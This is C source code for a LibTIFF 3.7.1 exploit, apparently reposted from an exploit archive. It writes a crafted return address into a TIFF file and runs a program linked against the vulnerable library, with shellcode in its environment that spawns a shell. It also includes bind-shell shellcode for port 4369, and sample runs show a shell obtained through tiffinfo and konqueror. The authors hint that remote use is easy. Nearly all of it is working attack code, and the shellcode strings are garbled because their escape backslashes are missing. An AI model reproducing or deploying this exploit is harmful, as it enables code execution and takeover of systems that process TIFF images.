/*
 LibTIFF exploit
 Tested on LibTIFF 3.7.1
 Coded by Agustin Gianni (agustingianni at gmail.com) and Samelat

 Blog: http://gruba.blogspot.com
  
 In other versions and/or Linux distributions you might need to
 adjust some offsets.

 gr00vy@kenny:/home/gr00vy/EXPLOIT$ make libtiff_exploit
 cc libtiff_exploit.c -o libtiff_exploit
 gr00vy@kenny:/home/gr00vy/EXPLOIT$ ./libtiff_exploit /usr/local/bin/tiffinfo evil.tiff
 Using RET: 0xbfffffb4
 TIFFReadDirectory:
 Warning, evil.tiff: unknown field with tag 260 (0x104) encountered.
 evil.tiff:
 Warning, incorrect count for field "PhotometricInterpretation" (150341633, expecting 1); tag trimmed.
 evil.tiff:
 Warning, incorrect count for field "BitsPerSample" (257, expecting 1); tag trimmed.
 sh-3.00$

 gr00vy@kenny:/home/gr00vy/storage/Exploits/Libtiff-3.7.1$ ./libtiff_exploit
 /usr/kde/3.3/bin/konqueror evil.tiff
 Linux Enabled
 Using RET: 0xbfffffb1
 konqueror: ERROR: Error in BrowserExtension::actionSlotMap(), unknown action : searchProvider
 konqueror: ERROR: Error in BrowserExtension::actionSlotMap(), unknown action : searchProvider
 TIFFReadDirectory: Warning, : unknown field with tag 260 (0x104) encountered.
 : Warning, incorrect count for field "PhotometricInterpretation" (150341633, expecting 1);
 tag
 trimmed.
 : Warning, incorrect count for field "BitsPerSample" (257, expecting 1); tag trimmed.
 sh-3.00$ exit
 exit

 Heheh it also works like a remote exploit i would leave that work (easy work) for the
 "interested" people.

*/

#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

#define OFFSET 0x3F /* return address offset */
#define SHELL_OFFSET 0x0102 /* shellcode address offset */
#define DISPLAY "DISPLAY=:0.0" /* no comments ... */
#define HOMEDIR "HOME=/tmp/"

int
main(int argc, char **argv, char **env)
{
 /* Linux shellcode that binds a shell on port 4369 */
char linux_bind[] = "x31xc0x50x40x50x40x50xb0x66x31"
  "xdbx43x89xe1xcdx80x99x52x52x52"
  "xbax02x01x11x11xfexcex52x89xe2"
  "x31xc9xb1x10x51x52x50x89xc2x89"
  "xe1xb0x66xb3x02x89xe1xcdx80xb0"
  "x66xb3x04x53x52x89xe1xcdx80x31"
  "xc0x50x50x52x89xe1xb0x66xb3x05"
  "xcdx80x89xc3x31xc9xb1x03xb0x3f"
  "x49xcdx80x41xe2xf8x51x68x6ex2f"
  "x73x68x68x2fx2fx62x69x89xe3x51"
  "x53x89xe1x99xb0x0bxcdx80";

 /* (?) lies lies lies lies!*/
 #ifdef FREEBSD
 printf("FreeBSD Enabledn");
 char shellcode[]=
  "xebx0ex5ex31xc0x88x46x07x50x50x56xb0x3bx50xcd"
  "x80xe8xedxffxffxffx2fx62x69x6ex2fx73x68x23";
 
 #else
 printf("Linux Enabledn");
 char shellcode[] =
  "xebx20x5ex89x76x08x31xc0x89x46x0c"
  "x88x46x07x8dx56x0cx8dx4ex08x89xf3"
  "x31xc0xb0x0bxcdx80x31xdbxb0x01xcd"
  "x80xe8xdbxffxffxffx2fx62x69x6ex2f"
  "x73x68x23";
 
 #endif

 if(argc < 3)
 {
  fprintf(stderr, "Error, arguments are like thesen"
    "%s <path_to_vuln> <eviltiff.tiff>n", argv[0]);
  return -1;
 }
 
 char *envp[] = {HOMEDIR, DISPLAY, shellcode, NULL};
 
 /* argv[1] -> executable file that is linked with vuln tiff library */
 long ret = 0xc0000000 - sizeof(void *) - strlen(argv[1]) - strlen(shellcode) - 0x02;
 
 int fd = open(argv[2], O_RDWR);
 if(fd == -1)
 {
  perror("open()");
  return -1;
 }
 
 if(lseek(fd, OFFSET, SEEK_SET) == -1)
 {
  perror("lseek()");
  close(fd);
  return -1;
 }
 
 if(write(fd, (void *) &ret, sizeof(long)) < sizeof(long))
 {
  perror("write()");
  close(fd);
  return -1;
 }
 
 close(fd);
 
 fprintf(stdout, "Using RET: 0x%.8xn", (unsigned int) ret);
 
 if(execle(argv[1], "tiff", argv[2], NULL, envp) == -1)
 {
  perror("execve()");
  return -1;
 }
 
 return 0;
}

// www.Syue.com [2006-03-05]